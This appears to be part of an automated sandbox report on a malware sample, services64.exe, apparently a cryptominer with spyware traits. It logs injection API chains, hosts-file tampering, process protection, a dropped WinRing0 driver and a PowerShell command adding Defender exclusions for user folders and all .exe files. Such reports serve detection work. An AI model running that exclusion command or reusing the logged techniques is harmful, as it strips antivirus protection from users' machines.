    Source: lsass.exe, 0000001F.00000000.1821977863.00000202C03BA000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821473498.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
    Source: lsass.exe, 0000001F.00000002.3238221679.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821473498.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
    Source: lsass.exe, 0000001F.00000000.1821977863.00000202C03C5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
    Source: lsass.exe, 0000001F.00000003.2271906692.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821838171.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03B5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242123112.00000202C0379000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
    Source: lsass.exe, 0000001F.00000002.3239359444.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821660332.00000202C024B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1822282202.00000202C043D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000003.2281801480.00000202C0249000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
    Source: lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03B5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
    Source: lsass.exe, 0000001F.00000002.3238221679.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821473498.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
    Source: lsass.exe, 0000001F.00000000.1821977863.00000202C03C5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
    Source: lsass.exe, 0000001F.00000003.2271906692.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821838171.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03B5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242123112.00000202C0379000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
    Source: lsass.exe, 0000001F.00000002.3238221679.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821473498.00000202BFC89000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
    Source: lsass.exe, 0000001F.00000002.3239359444.00000202C0200000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821631460.00000202C0200000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
    Source: lsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
    Source: lsass.exe, 0000001F.00000000.1821371502.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3237848048.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
    Source: lsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
    Source: lsass.exe, 0000001F.00000002.3238221679.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03BA000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821473498.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03C5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03B5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
    Source: lsass.exe, 0000001F.00000002.3239359444.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821660332.00000202C024B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1822282202.00000202C043D000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000003.2281801480.00000202C0249000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0:
    Source: lsass.exe, 0000001F.00000003.2271906692.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821838171.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03B5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242123112.00000202C0379000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0H
    Source: lsass.exe, 0000001F.00000000.1821977863.00000202C03C5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0I
    Source: lsass.exe, 0000001F.00000000.1821977863.00000202C03C5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.msocsp.
    Source: lsass.exe, 0000001F.00000003.2271906692.00000202C038E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000003.2271906692.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3239359444.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821838171.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821660332.00000202C024B000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000003.2281801480.00000202C0249000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242123112.00000202C0379000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.msocsp.com0
    Source: lsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
    Source: lsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
    Source: lsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821371502.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3237848048.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
    Source: lsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
    Source: lsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
    Source: lsass.exe, 0000001F.00000002.3237726005.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821333455.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
    Source: lsass.exe, 0000001F.00000000.1821977863.00000202C03C5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0
    Source: lsass.exe, 0000001F.00000003.2271906692.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821838171.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03B5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242123112.00000202C0379000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0~

    Spam, unwanted Advertisements and Ransom Demands

    barindex
    Modifies the hosts file
    Source: C:\Users\user\Desktop\services64.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior

    Operating System Destruction

    barindex
    Protects its processes via BreakOnTermination flag
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess information set: 01 00 00 00 Jump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostProcess information set: 01 00 00 00 Jump to behavior

    System Summary

    barindex
    PE file contains section with special chars
    Source: services64.exeStatic PE information: section name: .:ja
    Source: services64.exeStatic PE information: section name: ."8l
    Source: WindowsAutHost.0.drStatic PE information: section name: .:ja
    Source: WindowsAutHost.0.drStatic PE information: section name: ."8l
    Uses powercfg.exe to modify the power settings
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    Source: C:\Windows\System32\dialer.exeCode function: 25_2_00000001400010C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,25_2_00000001400010C0
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6428C8 NtEnumerateValueKey,NtEnumerateValueKey,30_2_00000225DC6428C8
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0AE202C NtQuerySystemInformation,StrCmpNIW,31_2_00000202C0AE202C
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0AE253C NtQueryDirectoryFileEx,GetFileType,StrCpyW,31_2_00000202C0AE253C
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1C52B2C NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,33_2_000001BCD1C52B2C
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1C528C8 NtEnumerateValueKey,NtEnumerateValueKey,33_2_000001BCD1C528C8
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDD28C8 NtEnumerateValueKey,NtEnumerateValueKey,38_2_000002BAAEDD28C8
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1C52B2C: NtDeviceIoControlFile,GetModuleHandleA,GetProcAddress,StrCmpNIW,lstrlenW,lstrlenW,33_2_000001BCD1C52B2C
    Source: C:\ProgramData\WindowsServices\WindowsAutHostFile created: C:\Windows\TEMP\ybmcltmshprh.sysJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile deleted: C:\Windows\Temp\__PSScriptPolicyTest_ygdwurri.usj.ps1Jump to behavior
    Source: C:\Windows\System32\dialer.exeCode function: 25_2_000000014000226C25_2_000000014000226C
    Source: C:\Windows\System32\dialer.exeCode function: 25_2_00000001400014D825_2_00000001400014D8
    Source: C:\Windows\System32\dialer.exeCode function: 25_2_000000014000256025_2_0000000140002560
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC611F2C30_2_00000225DC611F2C
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC61D0E030_2_00000225DC61D0E0
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6238A830_2_00000225DC6238A8
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC642B2C30_2_00000225DC642B2C
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC64DCE030_2_00000225DC64DCE0
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6544A830_2_00000225DC6544A8
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC671F2C30_2_00000225DC671F2C
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC67D0E030_2_00000225DC67D0E0
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6838A830_2_00000225DC6838A8
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6A2B2C30_2_00000225DC6A2B2C
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6ADCE030_2_00000225DC6ADCE0
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6B44A830_2_00000225DC6B44A8
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0AB1F2C31_2_00000202C0AB1F2C
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0AC38A831_2_00000202C0AC38A8
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0ABD0E031_2_00000202C0ABD0E0
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0AE2B2C31_2_00000202C0AE2B2C
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0AF44A831_2_00000202C0AF44A8
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0AEDCE031_2_00000202C0AEDCE0
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0B42B2C31_2_00000202C0B42B2C
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0B544A831_2_00000202C0B544A8
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0B4DCE031_2_00000202C0B4DCE0
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1A41F2C33_2_000001BCD1A41F2C
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1A4D0E033_2_000001BCD1A4D0E0
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1A538A833_2_000001BCD1A538A8
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1C52B2C33_2_000001BCD1C52B2C
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1C5DCE033_2_000001BCD1C5DCE0
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1C644A833_2_000001BCD1C644A8
    Source: C:\Windows\System32\conhost.exeCode function: 35_2_000001AFBC5238A835_2_000001AFBC5238A8
    Source: C:\Windows\System32\conhost.exeCode function: 35_2_000001AFBC51D0E035_2_000001AFBC51D0E0
    Source: C:\Windows\System32\conhost.exeCode function: 35_2_000001AFBC511F2C35_2_000001AFBC511F2C
    Source: C:\Windows\System32\conhost.exeCode function: 35_2_000001AFBC5544A835_2_000001AFBC5544A8
    Source: C:\Windows\System32\conhost.exeCode function: 35_2_000001AFBC54DCE035_2_000001AFBC54DCE0
    Source: C:\Windows\System32\conhost.exeCode function: 35_2_000001AFBC542B2C35_2_000001AFBC542B2C
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A6612D1F2C36_2_000002A6612D1F2C
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A6612DD0E036_2_000002A6612DD0E0
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A6612E38A836_2_000002A6612E38A8
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A661302B2C36_2_000002A661302B2C
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A66131AEC536_2_000002A66131AEC5
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A66130DCE036_2_000002A66130DCE0
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A6613144A836_2_000002A6613144A8
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDA1F2C38_2_000002BAAEDA1F2C
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDAD0E038_2_000002BAAEDAD0E0
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDB38A838_2_000002BAAEDB38A8
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDD2B2C38_2_000002BAAEDD2B2C
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDDDCE038_2_000002BAAEDDDCE0
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDE44A838_2_000002BAAEDE44A8
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEE01F2C38_2_000002BAAEE01F2C
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEE0D0E038_2_000002BAAEE0D0E0
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEE138A838_2_000002BAAEE138A8
    Source: C:\Windows\System32\svchost.exeCode function: 42_2_0000026A8799D0E042_2_0000026A8799D0E0
    Source: C:\Windows\System32\svchost.exeCode function: 42_2_0000026A879A38A842_2_0000026A879A38A8
    Source: C:\Windows\System32\svchost.exeCode function: 42_2_0000026A87991F2C42_2_0000026A87991F2C
    Source: C:\Windows\System32\svchost.exeCode function: 42_2_0000026A879CDCE042_2_0000026A879CDCE0
    Source: C:\Windows\System32\svchost.exeCode function: 42_2_0000026A879D44A842_2_0000026A879D44A8
    Source: C:\Windows\System32\svchost.exeCode function: 42_2_0000026A879C2B2C42_2_0000026A879C2B2C
    Source: C:\Windows\System32\svchost.exeCode function: 43_2_00000179537838A843_2_00000179537838A8
    Source: C:\Windows\System32\svchost.exeCode function: 43_2_000001795377D0E043_2_000001795377D0E0
    Source: C:\Windows\System32\svchost.exeCode function: 43_2_0000017953771F2C43_2_0000017953771F2C
    Source: C:\Windows\System32\svchost.exeCode function: 43_2_00000179537B44A843_2_00000179537B44A8
    Source: C:\Windows\System32\svchost.exeCode function: 43_2_00000179537ADCE043_2_00000179537ADCE0
    Source: C:\Windows\System32\svchost.exeCode function: 43_2_00000179537A2B2C43_2_00000179537A2B2C
    Source: C:\Windows\System32\svchost.exeCode function: 44_2_000002295D53D0E044_2_000002295D53D0E0
    Source: C:\Windows\System32\svchost.exeCode function: 44_2_000002295D5438A844_2_000002295D5438A8
    Source: C:\Windows\System32\svchost.exeCode function: 44_2_000002295D531F2C44_2_000002295D531F2C
    Source: C:\Windows\System32\svchost.exeCode function: 44_2_000002295D56DCE044_2_000002295D56DCE0
    Source: C:\Windows\System32\svchost.exeCode function: 44_2_000002295D5744A844_2_000002295D5744A8
    Source: C:\Windows\System32\svchost.exeCode function: 44_2_000002295D562B2C44_2_000002295D562B2C
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_00000253067D1F2C45_2_00000253067D1F2C
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_00000253067DD0E045_2_00000253067DD0E0
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_00000253067E38A845_2_00000253067E38A8
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306E62B2C45_2_0000025306E62B2C
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306E6DCE045_2_0000025306E6DCE0
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306E744A845_2_0000025306E744A8
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306EC2B2C45_2_0000025306EC2B2C
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306ECDCE045_2_0000025306ECDCE0
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306ED44A845_2_0000025306ED44A8
    Source: C:\Windows\System32\svchost.exeCode function: 53_2_000001845B9544A853_2_000001845B9544A8
    Source: C:\Windows\System32\svchost.exeCode function: 53_2_000001845B94DCE053_2_000001845B94DCE0
    Source: C:\Windows\System32\svchost.exeCode function: 53_2_000001845B942B2C53_2_000001845B942B2C
    Source: Joe Sandbox ViewDropped File: C:\Windows\Temp\ybmcltmshprh.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
    Source: ybmcltmshprh.sys.37.drBinary string: \Device\WinRing0_1_2_0
    Source: classification engineClassification label: mal100.adwa.spyw.evad.mine.winEXE@91/14@0/0
    Source: C:\Windows\System32\dialer.exeCode function: 25_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,25_2_000000014000226C
    Source: C:\Windows\System32\dialer.exeCode function: 25_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,25_2_00000001400019C4
    Source: C:\Windows\System32\dialer.exeCode function: 25_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,25_2_000000014000226C
    Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7920:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8048:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7852:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7784:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7904:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7580:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8072:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:864:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7808:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7584:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7976:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:6596:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7924:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8020:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2140:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7780:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7844:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:120:WilError_03
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7184:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3384:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7856:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7504:120:WilError_03
    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gokxv2ys.3jg.ps1Jump to behavior
    Source: C:\Users\user\Desktop\services64.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: C:\Users\user\Desktop\services64.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
    Source: C:\ProgramData\WindowsServices\WindowsAutHostFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
    Source: services64.exeReversingLabs: Detection: 47%
    Source: C:\Users\user\Desktop\services64.exeFile read: C:\Users\user\Desktop\services64.exeJump to behavior
    Source: unknownProcess created: C:\Users\user\Desktop\services64.exe "C:\Users\user\Desktop\services64.exe"
    Source: C:\Users\user\Desktop\services64.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
